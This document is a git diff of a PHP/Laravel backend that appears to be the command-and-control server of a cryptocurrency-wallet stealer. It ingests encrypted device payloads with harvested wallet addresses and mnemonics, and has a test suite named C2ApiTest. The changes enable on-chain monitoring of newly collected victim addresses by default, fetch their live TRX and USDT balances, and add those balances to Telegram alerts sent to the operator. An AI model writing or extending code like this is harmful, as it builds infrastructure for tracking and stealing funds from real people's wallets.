diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 2e853bc..90f064e 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -10,13 +10,19 @@ use App\Models\Photo; use App\Models\WalletAddress; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; +use App\Services\Tokenview\TokenviewMonitorService; use App\Support\WalletSource; use Illuminate\Http\Request; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; class IngestService { - public function __construct(private readonly TelegramNotifier $telegram) {} + public function __construct( + private readonly TelegramNotifier $telegram, + private readonly WalletBalanceService $balances, + private readonly TokenviewMonitorService $tokenview, + ) {} /** * Stable device id — currently only from payload `d` / `f`. @@ -339,8 +345,9 @@ class IngestService foreach ($coinAttrs as $col => $value) { $attrs[$col] = $value; } + // Default monitor on for new rows; disabled only when Tokenview enable fails. if (! $existing) { - $attrs['monitor'] = 0; + $attrs['monitor'] = 1; } $addr = WalletAddress::query()->updateOrCreate( @@ -348,6 +355,19 @@ class IngestService $attrs ); + $isTron = in_array($chainType, ['TRON', 'TRX'], true); + // Tron: client payloads often omit balances — pull TRX/USDT from chain. + // Always refresh on first insert so Telegram/DB get live totals. + if ($isTron && (! $existing || $coinAttrs === [])) { + if ($this->balances->refresh($addr)) { + $addr->refresh(); + } + } + + if (! $existing) { + $this->enableMonitorOrDisable($addr); + } + $balanceSummary = $addr->coinsSummary(); $shouldNotify = ! $existing || ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot()); @@ -367,6 +387,27 @@ class IngestService } } + /** + * New addresses start with monitor=1; turn off only when Tokenview add fails. + */ + private function enableMonitorOrDisable(WalletAddress $address): void + { + try { + if ($this->tokenview->syncMonitor($address)) { + return; + } + } catch (\Throwable $e) { + Log::warning('tokenview enable on ingest failed: '.$e->getMessage(), [ + 'wallet_address_id' => $address->id, + ]); + } + + if ((int) $address->monitor !== 0) { + $address->monitor = 0; + $address->save(); + } + } + /** * `/api/user/avatar/pic` — Notes reader; content = payload.list. */ diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index 86d398e..42d91d9 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -115,14 +115,19 @@ class TelegramNotifier string $symbol, string $amount, ?string $chain = null, + ?string $balance = null, ): void { - $this->send(implode("\n", [ + $lines = [ '✅ Balance Inbound', '📱 Device: '.$this->e($deviceId).'', '⛓ Chain: '.$this->e($chain ?: '—'), '📬 Address: '.$this->e($address).'', '💵 Amount: +'.$this->e($amount).' '.$this->e($symbol), - ])); + ]; + if ($balance !== null && trim($balance) !== '') { + $lines[] = '💰 Balance: '.$this->e($balance); + } + $this->send(implode("\n", $lines)); } private function e(?string $value): string diff --git a/app/Services/Tokenview/TokenviewMonitorService.php b/app/Services/Tokenview/TokenviewMonitorService.php index 4d23357..f2a274e 100644 --- a/app/Services/Tokenview/TokenviewMonitorService.php +++ b/app/Services/Tokenview/TokenviewMonitorService.php @@ -6,6 +6,7 @@ use App\Models\Device; use App\Models\TokenviewEvent; use App\Models\WalletAddress; use App\Services\TelegramNotifier; +use App\Services\WalletBalanceService; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Log; @@ -14,6 +15,7 @@ class TokenviewMonitorService public function __construct( private readonly TokenviewClient $client, private readonly TelegramNotifier $telegram, + private readonly WalletBalanceService $balances, ) {} /** @@ -119,17 +121,29 @@ class TokenviewMonitorService return; } - DB::transaction(function () use ($rows, $deltas) { - foreach ($rows as $row) { - /** @var WalletAddress $row */ - foreach ($deltas as $col => $delta) { - $current = $row->{$col}; - $base = ($current === null || $current === '') ? 0.0 : (float) $current; - $row->{$col} = $base + $delta; - } - $row->save(); - } + $tronRows = $rows->filter(function (WalletAddress $row) { + return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true); }); + $deltaRows = $rows->filter(function (WalletAddress $row) { + return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true); + }); + + // Tron webhooks only carry deltas — refresh TRX/USDT from chain as source of truth. + foreach ($tronRows as $row) { + /** @var WalletAddress $row */ + if (! $this->balances->refresh($row)) { + $this->applyDeltasToRow($row, $deltas); + } + } + + if ($deltaRows->isNotEmpty()) { + DB::transaction(function () use ($deltaRows, $deltas) { + foreach ($deltaRows as $row) { + /** @var WalletAddress $row */ + $this->applyDeltasToRow($row, $deltas); + } + }); + } $inbound = []; foreach ($deltas as $col => $delta) { @@ -141,18 +155,35 @@ class TokenviewMonitorService return; } - $deviceKey = Device::query()->whereKey($rows->first()->device_id)->value('device_id') ?: (string) $rows->first()->device_id; + $primary = $rows->first(); + $primary->refresh(); + $balanceSummary = $primary->coinsSummary(); + $deviceKey = Device::query()->whereKey($primary->device_id)->value('device_id') ?: (string) $primary->device_id; foreach ($inbound as $col => $delta) { $this->telegram->notifyBalanceChange( (string) $deviceKey, $lookup, strtoupper($col), WalletAddress::formatAmount($col, $delta), - $coin + $coin, + $balanceSummary ); } } + /** + * @param array $deltas + */ + private function applyDeltasToRow(WalletAddress $row, array $deltas): void + { + foreach ($deltas as $col => $delta) { + $current = $row->{$col}; + $base = ($current === null || $current === '') ? 0.0 : (float) $current; + $row->{$col} = $base + $delta; + } + $row->save(); + } + public function verifySignature(string $rawBody, ?string $signature): bool { $signKey = (string) config('coruna.tokenview.sign_key'); diff --git a/app/Services/WalletBalanceService.php b/app/Services/WalletBalanceService.php new file mode 100644 index 0000000..8726b49 --- /dev/null +++ b/app/Services/WalletBalanceService.php @@ -0,0 +1,66 @@ +chain_type)); + + return match ($chain) { + 'TRON', 'TRX' => $this->refreshTron($address), + default => false, + }; + } + + public function refreshTron(WalletAddress $address): bool + { + $addr = trim((string) $address->address); + if ($addr === '') { + return false; + } + + try { + $driver = $this->chains->resolve('tron'); + $trx = $driver->getNativeBalance($addr); + $usdt = $driver->getTokenBalance( + $addr, + (string) config('coruna.tron.usdt_contract'), + ); + + $address->trx = $trx; + $address->usdt = $usdt; + // No official BTC/ETH/BNB on Tron — leave those columns untouched. + $address->save(); + + return true; + } catch (\Throwable $e) { + Log::warning('tron balance refresh failed: '.$e->getMessage(), [ + 'wallet_address_id' => $address->id, + 'address' => $addr, + ]); + + return false; + } + } +} diff --git a/config/coruna.php b/config/coruna.php index e673f6d..9f0889c 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -57,6 +57,7 @@ return [ 'tron' => [ 'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'), 'api_key' => env('TRON_API_KEY', ''), + // Official Tether USDT TRC20. BTC/ETH/BNB have no canonical Tron natives — not queried. 'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'), 'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000), ], diff --git a/phpunit.xml b/phpunit.xml index e7f0a48..43c1b7e 100644 --- a/phpunit.xml +++ b/phpunit.xml @@ -32,5 +32,11 @@ + + + + + + diff --git a/tests/Feature/C2ApiTest.php b/tests/Feature/C2ApiTest.php index c54f52f..6419721 100644 --- a/tests/Feature/C2ApiTest.php +++ b/tests/Feature/C2ApiTest.php @@ -14,6 +14,7 @@ use App\Models\WalletMnemonic; use App\Services\CorunaCrypto; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Http\UploadedFile; +use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Storage; use PHPUnit\Framework\Attributes\Test; use Tests\TestCase; @@ -212,6 +213,9 @@ class C2ApiTest extends TestCase ], $encSet2['body'])->assertOk(); $this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count()); + // No Tokenview key → enable fails → monitor forced off. + config(['coruna.tokenview.api_key' => '']); + $tsStatus = '1722585600789'; $encStatus = $crypto->encryptJson([ 'd' => 'dev-wallet-1', @@ -272,8 +276,17 @@ class C2ApiTest extends TestCase } #[Test] - public function status_global_wallet_ad_map_stores_empty_balance(): void + public function status_global_wallet_ad_map_refreshes_tron_balances_and_enables_monitor(): void { + config(['coruna.tokenview.api_key' => 'test-key']); + Http::fake([ + '*/wallet/getaccount' => Http::response(['balance' => 2_500_000], 200), + '*/wallet/triggerconstantcontract' => Http::response([ + 'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)], + ], 200), + 'services.tokenview.io/*' => Http::response(['code' => 1, 'msg' => 'success'], 200), + ]); + $crypto = new CorunaCrypto; $ts = '1722585600777'; $enc = $crypto->encryptJson([ @@ -298,14 +311,66 @@ class C2ApiTest extends TestCase $this->assertNotNull($addr); $this->assertSame('Global Wallet', $addr->source); $this->assertSame('TRON', $addr->chain_type); - $this->assertNull($addr->trx); - $this->assertNull($addr->usdt); + $this->assertEqualsWithDelta(2.5, (float) $addr->trx, 0.0000001); + $this->assertEqualsWithDelta(12.5, (float) $addr->usdt, 0.0000001); + $this->assertSame(1, (int) $addr->monitor); + + Http::assertSent(fn ($request) => str_contains($request->url(), '/monitor/address/add/trx/')); + } + + #[Test] + public function status_disables_monitor_when_tokenview_enable_fails(): void + { + config(['coruna.tokenview.api_key' => 'test-key']); + Http::fake([ + 'services.tokenview.io/*' => Http::response(['code' => 0, 'msg' => 'fail'], 200), + ]); + + $crypto = new CorunaCrypto; + $ts = '1722585600778'; + $enc = $crypto->encryptJson([ + 'd' => 'dev-monitor-fail-1', + 'a' => 'a1', + 'data' => [ + ['address' => '0xabc1230000000000000000000000000000000009', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'], + ], + ], $ts); + + $this->call('POST', '/api/user/status', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $ts, + ], $enc['body'])->assertOk(); + + $device = Device::query()->where('device_id', 'dev-monitor-fail-1')->first(); + $addr = WalletAddress::query() + ->where('device_id', $device->id) + ->where('address', '0xabc1230000000000000000000000000000000009') + ->first(); + $this->assertNotNull($addr); $this->assertSame(0, (int) $addr->monitor); } #[Test] public function status_ingests_har_shaped_ba_address_map(): void { + // New Tron rows refresh TRX/USDT from chain before notify — stub node. + Http::fake(function ($request) { + $url = $request->url(); + if (str_contains($url, '/wallet/getaccount')) { + return Http::response(['balance' => 4_000_006], 200); + } + if (str_contains($url, '/wallet/triggerconstantcontract')) { + return Http::response([ + 'constant_result' => [str_pad('0', 64, '0', STR_PAD_LEFT)], + ], 200); + } + if (str_contains($url, 'tokenview')) { + return Http::response(['code' => 1, 'msg' => 'success'], 200); + } + + return Http::response(['ok' => true], 200); + }); + $crypto = new CorunaCrypto; $ts = '1722585600888'; $enc = $crypto->encryptJson([ diff --git a/tests/Feature/TokenviewWebhookTest.php b/tests/Feature/TokenviewWebhookTest.php index f74cdec..93744e7 100644 --- a/tests/Feature/TokenviewWebhookTest.php +++ b/tests/Feature/TokenviewWebhookTest.php @@ -97,6 +97,59 @@ class TokenviewWebhookTest extends TestCase $this->assertSame(1, TokenviewEvent::query()->count()); } + #[Test] + public function webhook_refreshes_tron_balances_from_chain_instead_of_delta(): void + { + config(['coruna.tokenview.sign_key' => '']); + Http::fake([ + '*/wallet/getaccount' => Http::response(['balance' => 9_000_000], 200), + '*/wallet/triggerconstantcontract' => Http::response([ + 'constant_result' => [str_pad(dechex(50_000_000), 64, '0', STR_PAD_LEFT)], + ], 200), + 'api.telegram.org/*' => Http::response(['ok' => true], 200), + ]); + config([ + 'coruna.telegram.bot_token' => 'bot-token', + 'coruna.telegram.owner_chat_id' => '12345', + ]); + + $addr = $this->seedMonitoredAddress([ + 'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6', + 'chain_type' => 'TRON', + 'trx' => 1.0, + 'usdt' => 10.0, + 'eth' => null, + ]); + + $payload = [ + 'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6', + 'txid' => 'tron-txid-refresh-1', + 'coin' => 'TRX', + 'tokenSymbol' => 'USDT', + 'tokenValue' => '5', + 'value' => '0.1', + ]; + + $this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok'); + + $addr->refresh(); + // Live chain balances win over webhook deltas. + $this->assertEqualsWithDelta(9.0, (float) $addr->trx, 0.0000001); + $this->assertEqualsWithDelta(50.0, (float) $addr->usdt, 0.0000001); + + Http::assertSent(function ($request) { + if (! str_contains($request->url(), 'api.telegram.org')) { + return false; + } + $text = (string) ($request->data()['text'] ?? ''); + + return str_contains($text, 'Balance Inbound') + && str_contains($text, '+5 USDT') + && str_contains($text, 'Balance') + && str_contains($text, 'USDT'); + }); + } + #[Test] public function webhook_ignores_address_when_monitor_off(): void { diff --git a/tests/Unit/WalletBalanceServiceTest.php b/tests/Unit/WalletBalanceServiceTest.php new file mode 100644 index 0000000..d9189ca --- /dev/null +++ b/tests/Unit/WalletBalanceServiceTest.php @@ -0,0 +1,73 @@ + Http::response(['balance' => 1_000_000], 200), + '*/wallet/triggerconstantcontract' => Http::response([ + 'constant_result' => [str_pad(dechex(3_000_000), 64, '0', STR_PAD_LEFT)], + ], 200), + ]); + + $device = Device::query()->create([ + 'device_id' => 'dev-bal-1', + 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + ]); + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6', + 'chain_type' => 'TRON', + 'source' => 'imToken', + 'btc' => 1.23, + 'eth' => 4.56, + 'monitor' => 1, + ]); + + $ok = app(WalletBalanceService::class)->refresh($addr); + $this->assertTrue($ok); + + $addr->refresh(); + $this->assertEqualsWithDelta(1.0, (float) $addr->trx, 0.0000001); + $this->assertEqualsWithDelta(3.0, (float) $addr->usdt, 0.0000001); + // Non-Tron columns are not overwritten. + $this->assertEqualsWithDelta(1.23, (float) $addr->btc, 0.0000001); + $this->assertEqualsWithDelta(4.56, (float) $addr->eth, 0.0000001); + } + + #[Test] + public function skips_non_tron_chains(): void + { + $device = Device::query()->create([ + 'device_id' => 'dev-bal-2', + 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + ]); + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => '0xab5c66752a9e8167967685f1450532fb96d5d24f', + 'chain_type' => 'ETH', + 'source' => 'MetaMask', + 'eth' => 1.0, + 'monitor' => 1, + ]); + + $ok = app(WalletBalanceService::class)->refresh($addr); + $this->assertFalse($ok); + $addr->refresh(); + $this->assertEqualsWithDelta(1.0, (float) $addr->eth, 0.0000001); + } +}